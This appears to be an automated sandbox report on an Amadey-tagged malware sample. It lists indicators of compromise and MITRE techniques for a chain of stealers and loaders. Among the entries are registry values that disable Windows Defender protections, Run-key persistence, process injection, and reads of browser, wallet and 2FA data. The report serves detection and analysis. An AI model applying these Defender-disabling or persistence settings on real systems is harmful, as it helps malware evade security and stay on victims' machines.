amadey | cbe35192c04f83d4d3b179a8c229047ade740aac3785e198cd0fdb00c2bf91e5

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

arnatic_5.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	arnatic_5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	arnatic_5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	arnatic_5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	arnatic_5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	arnatic_5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	arnatic_5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	arnatic_5.exe

NyMaim
NyMaim is a malware with various capabilities written in C++ and first seen in 2013.
trojan nymaim
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rUNdlL32.eXe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3832 1004 rUNdlL32.eXe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3832	1004	rUNdlL32.eXe

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4396 created 1992	4396	svchost.exe	KfPyFH7BVrxvlNKUGHlTDgNU.exe
PID 4396 created 1256	4396	svchost.exe	csrss.exe
PID 4396 created 1256	4396	svchost.exe	csrss.exe
PID 4396 created 1256	4396	svchost.exe	csrss.exe
PID 4396 created 1256	4396	svchost.exe	csrss.exe
PID 4396 created 3776	4396	svchost.exe	f801950a962ddba14caaa44bf084b55c.exe
PID 4396 created 3776	4396	svchost.exe	f801950a962ddba14caaa44bf084b55c.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
suricata
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin Stealer Keywords Retrieved
suricata: ET MALWARE Vidar/Arkei/Megumin Stealer Keywords Retrieved
suricata
suricata: ET MALWARE W32/Agent.OGR!tr.pws Stealer
suricata: ET MALWARE W32/Agent.OGR!tr.pws Stealer
suricata
suricata: ET MALWARE Win32/Filecoder.STOP Variant Public Key Download
suricata: ET MALWARE Win32/Filecoder.STOP Variant Public Key Download
suricata
suricata: ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key
suricata: ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key
suricata
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata
suricata: ET MALWARE Win32/Vodkagats Loader Requesting Payload
suricata: ET MALWARE Win32/Vodkagats Loader Requesting Payload
suricata

Vidar Stealer 8 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/4452-223-0x0000000002620000-0x00000000026BD000-memory.dmp	family_vidar
behavioral2/memory/4452-225-0x0000000000400000-0x0000000000A0C000-memory.dmp	family_vidar
behavioral2/memory/1884-287-0x0000000000DE0000-0x0000000000E2D000-memory.dmp	family_vidar
behavioral2/memory/1812-307-0x0000000000400000-0x0000000000B55000-memory.dmp	family_vidar
behavioral2/memory/1812-305-0x0000000000DB0000-0x0000000000DFD000-memory.dmp	family_vidar
behavioral2/memory/4452-314-0x0000000000400000-0x0000000000A0C000-memory.dmp	family_vidar
behavioral2/memory/1884-288-0x0000000000400000-0x0000000000B55000-memory.dmp	family_vidar
behavioral2/memory/4808-418-0x0000000000400000-0x000000000045D000-memory.dmp	family_vidar

ASPack v2.12-2.42 9 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\libcurl.dll	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 40 IoCs

Processes:

setup_install.exearnatic_2.exearnatic_1.exearnatic_3.exearnatic_4.exearnatic_6.exearnatic_7.exearnatic_5.exearnatic_8.exearnatic_1.exepnpYzEtPcL6DGMuqX14YEBlm.exe8VVrepEeAHV6zuHEl0wDIn7b.exexf0Pr3qMpZO8yIH34kKoigFE.exeP_wCSF3r2TPXmJMiZig60Wat.exevOPCJNmKWgy7sBTswt_qkvIe.exeZIz6NmG4BmtbW6nzMETkfeOr.exeUlYpvdYhAa2jo8A1FKcHlrbY.exe_HPK6R0tuQbF1rZG9ijyRfT5.exeKfPyFH7BVrxvlNKUGHlTDgNU.exe7sDdxnaCn9uTbm4IFBaPDSKc.exeyy_eMsXbb8m4NCK3DGP1QfdV.exeNsuJ8G3r1sZyzEFNicMl_8R1.exeLOL.exevOPCJNmKWgy7sBTswt_qkvIe.exevOPCJNmKWgy7sBTswt_qkvIe.exevOPCJNmKWgy7sBTswt_qkvIe.exeKfPyFH7BVrxvlNKUGHlTDgNU.execsrss.exebuild2.exeinjector.exeTal.exe.pif60138439814446808535.exebuild2.exebguuwe.exetor.exebguuwe.exeTal.exe.pifwindefender.exewindefender.exef801950a962ddba14caaa44bf084b55c.exe

pid	process
1876	setup_install.exe
2808	arnatic_2.exe
3772	arnatic_1.exe
4452	arnatic_3.exe
640	arnatic_4.exe
2344	arnatic_6.exe
116	arnatic_7.exe
4020	arnatic_5.exe
344	arnatic_8.exe
3956	arnatic_1.exe
1656	pnpYzEtPcL6DGMuqX14YEBlm.exe
2316	8VVrepEeAHV6zuHEl0wDIn7b.exe
1812	xf0Pr3qMpZO8yIH34kKoigFE.exe
1788	P_wCSF3r2TPXmJMiZig60Wat.exe
3720	vOPCJNmKWgy7sBTswt_qkvIe.exe
384	ZIz6NmG4BmtbW6nzMETkfeOr.exe
1660	UlYpvdYhAa2jo8A1FKcHlrbY.exe
1884	_HPK6R0tuQbF1rZG9ijyRfT5.exe
1992	KfPyFH7BVrxvlNKUGHlTDgNU.exe
4052	7sDdxnaCn9uTbm4IFBaPDSKc.exe
5060	yy_eMsXbb8m4NCK3DGP1QfdV.exe
5008	NsuJ8G3r1sZyzEFNicMl_8R1.exe
3736	LOL.exe
4300	vOPCJNmKWgy7sBTswt_qkvIe.exe
3476	vOPCJNmKWgy7sBTswt_qkvIe.exe
1016	vOPCJNmKWgy7sBTswt_qkvIe.exe
4384	KfPyFH7BVrxvlNKUGHlTDgNU.exe
1256	csrss.exe
2124	build2.exe
364	injector.exe
720	Tal.exe.pif
2292	60138439814446808535.exe
4808	build2.exe
4112	bguuwe.exe
2628	tor.exe
2784	bguuwe.exe
4924	Tal.exe.pif
3476	windefender.exe
3492	windefender.exe
3776	f801950a962ddba14caaa44bf084b55c.exe

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2876 netsh.exe

pid	process
2876	netsh.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe	upx
C:\Users\Admin\Documents\KfPyFH7BVrxvlNKUGHlTDgNU.exe	upx
behavioral2/memory/1992-269-0x0000000000400000-0x0000000000C96000-memory.dmp	upx

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\Documents\7sDdxnaCn9uTbm4IFBaPDSKc.exe	vmprotect
C:\Users\Admin\Documents\7sDdxnaCn9uTbm4IFBaPDSKc.exe	vmprotect
behavioral2/memory/4052-273-0x0000000000400000-0x0000000000C95000-memory.dmp	vmprotect
behavioral2/memory/4052-276-0x0000000000400000-0x0000000000C95000-memory.dmp	vmprotect
behavioral2/memory/4052-283-0x0000000000400000-0x0000000000C95000-memory.dmp	vmprotect

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

60138439814446808535.exeCBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exearnatic_1.exeP_wCSF3r2TPXmJMiZig60Wat.exevOPCJNmKWgy7sBTswt_qkvIe.exe_HPK6R0tuQbF1rZG9ijyRfT5.exeZIz6NmG4BmtbW6nzMETkfeOr.exearnatic_5.exe7sDdxnaCn9uTbm4IFBaPDSKc.exevOPCJNmKWgy7sBTswt_qkvIe.exexf0Pr3qMpZO8yIH34kKoigFE.exebguuwe.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	60138439814446808535.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	arnatic_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	P_wCSF3r2TPXmJMiZig60Wat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	vOPCJNmKWgy7sBTswt_qkvIe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	_HPK6R0tuQbF1rZG9ijyRfT5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	ZIz6NmG4BmtbW6nzMETkfeOr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	arnatic_5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	7sDdxnaCn9uTbm4IFBaPDSKc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	vOPCJNmKWgy7sBTswt_qkvIe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	xf0Pr3qMpZO8yIH34kKoigFE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	bguuwe.exe

Loads dropped DLL 29 IoCs

Processes:

setup_install.exerundll32.exearnatic_2.exe_HPK6R0tuQbF1rZG9ijyRfT5.exexf0Pr3qMpZO8yIH34kKoigFE.exebuild2.exetor.exeTal.exe.pif

pid	process
1876	setup_install.exe
1876	setup_install.exe
1876	setup_install.exe
1876	setup_install.exe
1876	setup_install.exe
1876	setup_install.exe
2848	rundll32.exe
2808	arnatic_2.exe
1884	_HPK6R0tuQbF1rZG9ijyRfT5.exe
1884	_HPK6R0tuQbF1rZG9ijyRfT5.exe
1812	xf0Pr3qMpZO8yIH34kKoigFE.exe
1812	xf0Pr3qMpZO8yIH34kKoigFE.exe
4808	build2.exe
4808	build2.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
2628	tor.exe
720	Tal.exe.pif
720	Tal.exe.pif
720	Tal.exe.pif
720	Tal.exe.pif
720	Tal.exe.pif
720	Tal.exe.pif

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

4040 icacls.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4040	icacls.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

yy_eMsXbb8m4NCK3DGP1QfdV.exevOPCJNmKWgy7sBTswt_qkvIe.exeKfPyFH7BVrxvlNKUGHlTDgNU.execsrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	yy_eMsXbb8m4NCK3DGP1QfdV.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	yy_eMsXbb8m4NCK3DGP1QfdV.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\c8037e8e-ce3f-4502-a3cd-29a107b62001\\vOPCJNmKWgy7sBTswt_qkvIe.exe\" --AutoStart"	vOPCJNmKWgy7sBTswt_qkvIe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

9 ipinfo.io
11 ipinfo.io
131 api.2ip.ua
133 api.2ip.ua
164 api.2ip.ua
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

7sDdxnaCn9uTbm4IFBaPDSKc.exe

pid process

4052 7sDdxnaCn9uTbm4IFBaPDSKc.exe

flow	ioc
9	ipinfo.io
11	ipinfo.io
131	api.2ip.ua
133	api.2ip.ua
164	api.2ip.ua

pid	process
4052	7sDdxnaCn9uTbm4IFBaPDSKc.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

vOPCJNmKWgy7sBTswt_qkvIe.exevOPCJNmKWgy7sBTswt_qkvIe.exebuild2.exeP_wCSF3r2TPXmJMiZig60Wat.exeTal.exe.pif

description	pid	process	target process
PID 3720 set thread context of 4300	3720	vOPCJNmKWgy7sBTswt_qkvIe.exe	vOPCJNmKWgy7sBTswt_qkvIe.exe
PID 3476 set thread context of 1016	3476	vOPCJNmKWgy7sBTswt_qkvIe.exe	vOPCJNmKWgy7sBTswt_qkvIe.exe
PID 2124 set thread context of 4808	2124	build2.exe	build2.exe
PID 1788 set thread context of 3416	1788	P_wCSF3r2TPXmJMiZig60Wat.exe	InstallUtil.exe
PID 720 set thread context of 4924	720	Tal.exe.pif	Tal.exe.pif

Drops file in Windows directory 4 IoCs

Processes:

KfPyFH7BVrxvlNKUGHlTDgNU.execsrss.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	KfPyFH7BVrxvlNKUGHlTDgNU.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	KfPyFH7BVrxvlNKUGHlTDgNU.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

3148 sc.exe
3556 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3148	sc.exe
3556	sc.exe

Program crash 20 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1748	116	WerFault.exe	arnatic_7.exe
3104	2848	WerFault.exe	rundll32.exe
1316	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
4580	4452	WerFault.exe	arnatic_3.exe
4232	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
3168	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
1056	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
2216	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
1764	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
2760	1656	WerFault.exe	pnpYzEtPcL6DGMuqX14YEBlm.exe
4692	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
3564	2316	WerFault.exe	8VVrepEeAHV6zuHEl0wDIn7b.exe
3804	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
680	384	WerFault.exe	ZIz6NmG4BmtbW6nzMETkfeOr.exe
1708	1884	WerFault.exe	_HPK6R0tuQbF1rZG9ijyRfT5.exe
1924	1812	WerFault.exe	xf0Pr3qMpZO8yIH34kKoigFE.exe
4668	1812	WerFault.exe	xf0Pr3qMpZO8yIH34kKoigFE.exe
1384	2292	WerFault.exe	60138439814446808535.exe
2396	1812	WerFault.exe	xf0Pr3qMpZO8yIH34kKoigFE.exe
1676	2784	WerFault.exe	bguuwe.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

arnatic_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exeLOL.exe_HPK6R0tuQbF1rZG9ijyRfT5.exexf0Pr3qMpZO8yIH34kKoigFE.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	LOL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	LOL.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	_HPK6R0tuQbF1rZG9ijyRfT5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	_HPK6R0tuQbF1rZG9ijyRfT5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xf0Pr3qMpZO8yIH34kKoigFE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xf0Pr3qMpZO8yIH34kKoigFE.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4900 schtasks.exe
1676 schtasks.exe
1868 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3280 timeout.exe
3104 timeout.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

3804 tasklist.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

676 taskkill.exe
1748 taskkill.exe
1308 taskkill.exe

pid	process
4900	schtasks.exe
1676	schtasks.exe
1868	schtasks.exe

pid	process
3280	timeout.exe
3104	timeout.exe

pid	process
3804	tasklist.exe

pid	process
676	taskkill.exe
1748	taskkill.exe
1308	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

KfPyFH7BVrxvlNKUGHlTDgNU.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
